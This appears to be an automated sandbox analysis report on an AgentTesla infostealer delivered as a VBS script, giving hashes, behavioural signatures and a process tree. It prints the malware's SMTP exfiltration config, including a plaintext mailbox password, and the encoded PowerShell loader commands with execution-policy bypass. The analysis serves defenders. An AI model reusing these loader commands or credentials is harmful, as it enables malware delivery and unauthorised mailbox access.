Analysis
-
max time kernel
144s -
max time network
146s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
27-03-2024 01:12
Static task
static1
Behavioral task
behavioral1
Sample
b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe.vbs
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe.vbs
Resource
win10v2004-20231215-en
General
-
Target
b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe.vbs
-
Size
196KB
-
MD5
154c5d86522ffd7a1cd03d23b3b19ee5
-
SHA1
41743b862c01c4c8eef124a85560657f58a0a575
-
SHA256
b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe
-
SHA512
0179e5323e21f3f34dbbe5ed2930ca25fa8158db15824adae867e9cf74df1a642516aa86910676c06a3f39fe9a7f7296f8f5fa70e7a23b4227535bd0b525a760
-
SSDEEP
3072:k+az7K1R0Qnfs+7d7mz6WK5jiAQeQ/fCdkoLTIXlcoutMAp5Fvk2:SCXkKIeWK5jFw3CGc9tXp5Fvk2
Malware Config
Extracted
Protocol: smtp- Host:
mail.bfm.com.mk - Port:
587 - Username:
[email protected] - Password:
Sonja1234@@4321
Extracted
agenttesla
Protocol: smtp- Host:
mail.bfm.com.mk - Port:
587 - Username:
[email protected] - Password:
Sonja1234@@4321 - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cvtres.vbs powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cvtres.vbs powershell.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 19 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 4444 set thread context of 2200 4444 powershell.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exepid process 5040 powershell.exe 5040 powershell.exe 4444 powershell.exe 4444 powershell.exe 2200 RegAsm.exe 2200 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exedescription pid process Token: SeDebugPrivilege 5040 powershell.exe Token: SeDebugPrivilege 4444 powershell.exe Token: SeDebugPrivilege 2200 RegAsm.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.execmd.exepowershell.exedescription pid process target process PID 3436 wrote to memory of 4768 3436 WScript.exe cmd.exe PID 3436 wrote to memory of 4768 3436 WScript.exe cmd.exe PID 4768 wrote to memory of 5040 4768 cmd.exe powershell.exe PID 4768 wrote to memory of 5040 4768 cmd.exe powershell.exe PID 4768 wrote to memory of 5040 4768 cmd.exe powershell.exe PID 4768 wrote to memory of 4444 4768 cmd.exe powershell.exe PID 4768 wrote to memory of 4444 4768 cmd.exe powershell.exe PID 4768 wrote to memory of 4444 4768 cmd.exe powershell.exe PID 4444 wrote to memory of 2200 4444 powershell.exe RegAsm.exe PID 4444 wrote to memory of 2200 4444 powershell.exe RegAsm.exe PID 4444 wrote to memory of 2200 4444 powershell.exe RegAsm.exe PID 4444 wrote to memory of 2200 4444 powershell.exe RegAsm.exe PID 4444 wrote to memory of 2200 4444 powershell.exe RegAsm.exe PID 4444 wrote to memory of 2200 4444 powershell.exe RegAsm.exe PID 4444 wrote to memory of 2200 4444 powershell.exe RegAsm.exe PID 4444 wrote to memory of 2200 4444 powershell.exe RegAsm.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3436 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\cvtres.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1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lc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\cvtres.ps1' -Encoding UTF8"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5040 -
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\cvtres.ps1"3⤵
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2200
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD54280e36a29fa31c01e4d8b2ba726a0d8
SHA1c485c2c9ce0a99747b18d899b71dfa9a64dabe32
SHA256e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
SHA512494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4
-
Filesize
16KB
MD5aa793cce416b24b1b45cbe911b6c703d
SHA1a77e016e81d6ae709b7ab5c1e36df4511eb1d1b1
SHA256023705a2b3b769af3cfc86d0cff324f85815afe588f2f094872cbbc3c225b716
SHA5128d923da770504acee6d1419556eb59c9a3bd7558bc658f33e01f6ecc5fee27fe793857d9d51b68e5049d7ffacf314c8f6f27dfc280d68efb9a2a0e03baefc4c6
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
191KB
MD52d52ffbf8c9233a4c0e73ddef6f59073
SHA119f2b5b063b11d8ed5a61178eb1ba4e1243ae21f
SHA25690cf988538695ba2552ace7664b3badb2fd2c576803f9335a9961b875ceeac23
SHA512a5d14be2d9e2e2578761e64e58ca778a8872c821b80b7d14d836bdbb58ae77f8155af8fd4e9b209c47eca95562511c722ad0d3192f0613296d2212ea1211648e
-
Filesize
1KB
MD56f35158874ea4b14043a77ba49bf342a
SHA1a2675898e47ae854c2380841acdb9fdbe7b050c1
SHA256d2e1c1fef3af43c1c672e99d0040f36768a6041ff9d0d3d2d71751b39e4e1d09
SHA5122696dfdeca5fbde843851588aff2bcf70d13dad9122fbec8b48d2aed066a2794bd39781981b31908343b2aef5f8a716f74bdea19dd49690db1c91930c7013281
-
Filesize
196KB
MD5154c5d86522ffd7a1cd03d23b3b19ee5
SHA141743b862c01c4c8eef124a85560657f58a0a575
SHA256b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe
SHA5120179e5323e21f3f34dbbe5ed2930ca25fa8158db15824adae867e9cf74df1a642516aa86910676c06a3f39fe9a7f7296f8f5fa70e7a23b4227535bd0b525a760